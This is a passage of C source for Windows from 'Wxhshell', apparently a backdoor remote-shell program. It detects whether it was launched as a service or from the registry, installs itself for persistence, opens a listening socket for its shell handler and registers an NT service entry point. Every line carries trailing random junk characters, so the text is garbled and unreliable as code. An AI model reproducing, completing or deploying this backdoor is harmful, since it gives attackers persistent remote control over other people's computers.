} PROCESS_BASIC_INFORMATION; ,+LX.f&/8!
f,S,35`qa
PROCNTQSIP NtQueryInformationProcess; XEK% \o}
,mkXUW
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wrtJ8O(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RRXnj#<g
9@'^}c#
HANDLE hProcess; O}$@|w(8;
PROCESS_BASIC_INFORMATION pbi; Y8$Y]2
\OR=+\].9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =E E>QM
if(NULL == hInst ) return 0; v2Lx4:dzi
OPi><8x
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _>:R]2Ew
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kyn[4Bu!?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AcRrk
1#]0\Y(
if (!NtQueryInformationProcess) return 0; . }#R
|_fmbG
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )(^L*
if(!hProcess) return 0; {lNvKm)w
#RfNk;kaA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0O@UT1M;v
i!AFXVX
CloseHandle(hProcess); E[IjeJB5
->H4!FS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H YA<
if(hProcess==NULL) return 0; H]zi>;D
|"gg2p
HMODULE hMod; \:7G1_o
char procName[255]; |+-D@22y
unsigned long cbNeeded; oR``Jiob|
E2hy%y9Tp
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -XuRQ_)nG
F' NX
CloseHandle(hProcess); |8m2i1XG
pgp@Zw)r)k
if(strstr(procName,"services")) return 1; // 以服务启动 [unK5l4_!
h vC gd^M
return 0; // 注册表启动 .()|0A B&g
} &1ZqC;
ff{L=uj
// 主模块 w!GPPW(
int StartWxhshell(LPSTR lpCmdLine) @.D1_A
{ %I`%N2ss
SOCKET wsl; `l%)0)T
BOOL val=TRUE; *_qLLJg
int port=0; cN?}s0
struct sockaddr_in door; VKZZTFmV2)
Qp?+G~*
if(wscfg.ws_autoins) Install(); ^yl)c
\`
J*%XtRio
port=atoi(lpCmdLine); U8||)+
j0X Jf<
if(port<=0) port=wscfg.ws_port; `!um)4
N4L#$\M
WSADATA data; ^!FLi7X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bJWPr
*vqr+jr9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >Q-"-X1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VhfMj|
door.sin_family = AF_INET; 4.t72*ML
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i(9 5=t(
door.sin_port = htons(port); )%(V.?eW
S.! n35
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 57S!X|CE
closesocket(wsl); E3~ Wyfd7
return 1; 8TE2q Pm
} p~evPTHnrX
&BZjQK
if(listen(wsl,2) == INVALID_SOCKET) { ^C|N
closesocket(wsl); =-dg]Ol8
return 1; !zW22M
} Z`jSpgWR
Wxhshell(wsl); d7U%Q8?wUR
WSACleanup(); D=^|6}
;
`Vbl_"L
return 0; <l`xP)] X
2zlBrjk;
} "oLY";0(=
fgW>~m.W
// 以NT服务方式启动 g~v>{F+u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +#LD@)G
{ 7,IH7l|G
DWORD status = 0; wj$WE3Y
DWORD specificError = 0xfffffff; M\!z='Fi
')82a49eA
serviceStatus.dwServiceType = SERVICE_WIN32; tXg>R _\C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; vdFP ^06
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z <jH{AU
serviceStatus.dwWin32ExitCode = 0; 1R"?X'w
serviceStatus.dwServiceSpecificExitCode = 0; ^)%TQ.
serviceStatus.dwCheckPoint = 0; 0<$t9:dq
serviceStatus.dwWaitHint = 0; XnNU-UCX
4.&